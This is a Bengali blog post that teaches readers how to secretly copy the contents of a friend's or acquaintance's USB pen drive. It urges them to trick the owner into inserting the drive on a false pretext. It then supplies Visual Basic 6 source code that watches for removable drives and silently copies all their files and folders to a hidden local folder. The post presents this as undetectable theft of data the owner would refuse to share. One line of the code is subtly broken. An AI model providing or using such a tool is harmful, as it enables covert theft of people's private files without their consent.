আপনি আপনার পরিচিত কারো পেন ড্রাইভে খুব গুরুত্বপূর্ণ কোন তথ্য/সফটওয়্যার/টিউটোরিয়াল দেখতে পারেন; কিন্তু লজ্জার খাতিরে কিংবা তার কাছে চাইলে সে মুখের উপর না বলে দিতে পারে এই ভেবে আপনি আর তার কাছে চাইতেও পারেন না। আবার ঐ তথ্য/সফটওয়্যার/টিউটোরিয়াল পেলে আপনি ভীষণ উপকৃত হবেন। আর এই জন্যই আপনাকে এমন কোন পদ্ধতি অবলম্বন করতে হবে যাতে ঐ তথ্য/সফটওয়্যার/টিউটোরিয়াল আপনি নিমিষেই আপনার ল্যাপটপ/ডেক্সটপে কপি করে নিতে পারেন। আর এই ব্যাপারটা ঐ পেন ড্রাইভের মালিক সারাদিন আপনার ল্যাপটপ/ডেক্সটপে তাকিয়ে থাকলেও কোথা দিয়ে যে কি হচ্ছে সেটা সে কিছুই বুঝতে পারবে না। আপনাকে শুধু ছলে বলে কৌশলে তাকে কিছু দেবার নাম করে তার পেন ড্রাইভটিকে আপনার ল্যাপটপ/ডেক্সটপে ইনসার্ট করাতে হবে। ব্যাস আপনার দায়িত্ব শুধুই এতটুকু। বাকি কাজটুকু অটোমেটিক ভাবে হয়ে যাবে। এই ভিডিও টিউটোরিয়ালে আমি দেখিয়েছি কিভাবে আপনি লুকিয়ে অন্যের পেন ড্রাইভের ডেটা কপি করে নিতে পারবেন।
কোড গুলি পেতে নিচের লিঙ্কে ক্লিক কুরুন
[CODE]
Dim sourcePath As String
Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Dim norle As New Scripting.FileSystemObject
Private Sub Form_Load()
Label7.Caption = " Developed By: Engr. Albert Subir Mondal, Email: albertcseaust@gmail.com"
Timer3.Enabled = True
Timer3.Interval = 300
Timer1.Enabled = True
If Not norle.FolderExists("C:\AlbertUsb") Then
norle.CreateFolder ("C:\AlbertUsb")
Else
Exit Sub
End If
End Sub
Private Sub Timer1_Timer()
Dim drvValue As Object
For Each drvValue In norle.Drives
If drvValue.DriveLetter <> "A" Then
If drvValue.IsReady Then
If GetDriveType(drvValue.DriveLetter & ":\") = 2 Then
sourcePath = (drvValue.DriveLetter & ":\")
Call FolderName(sourcePath)
Timer1.Enabled = False
End If
End If
End If
Next
End Sub
Sub FolderName(Path As String)
On Error Resume Next
Dim Pfolder As Folder
Dim Sfolder As Folder
Dim d As String
Dim i As Integer
i = 0
A:
i = i + 1
If Not norle.FolderExists("C:\AlbertUsb\USB" & i) Then
norle.CreateFolder ("C:\AlbertUsb\USB" & i)
DesPath = ("C:\AlbertUsb\USB" & i)
Else: GoTo A
End If
norle.CopyFile sourcePath & "*.*", DesPath
Set Pfolder = norle.GetFolder(Path)
For Each Sfolder In Pfolder.SubFolders
Text1.Text = Text1.Text & Sfolder & vbCrLf
d = Sfolder
d = Mid(d, 4)
norle.CreateFolder DesPath & "\" & d
SetAttr sourcePath & "\" & d, vbNormal
norle.CopyFolder Sfolder, DesPath & "\" & d
Next Sfolder
Set Pfolder = Nothing
Timer1.Enabled = True
MsgBox "All Data Copied to " & DesPath, vbInformation, "Copy USB Files"
End Sub
Private Sub Timer2_Timer()
If Label2.Visible = True Then
Label2.Visible = False
Else
Label2.Visible = True
End If
End Sub
Private Sub Timer3_Timer()
Dim str As String
str = Form1.Label7.Caption
str = Mid$(str, 2, Len(str) + Left(str, 1)
Form1.Label7.Caption = str
End Sub
0 comments:
Post a Comment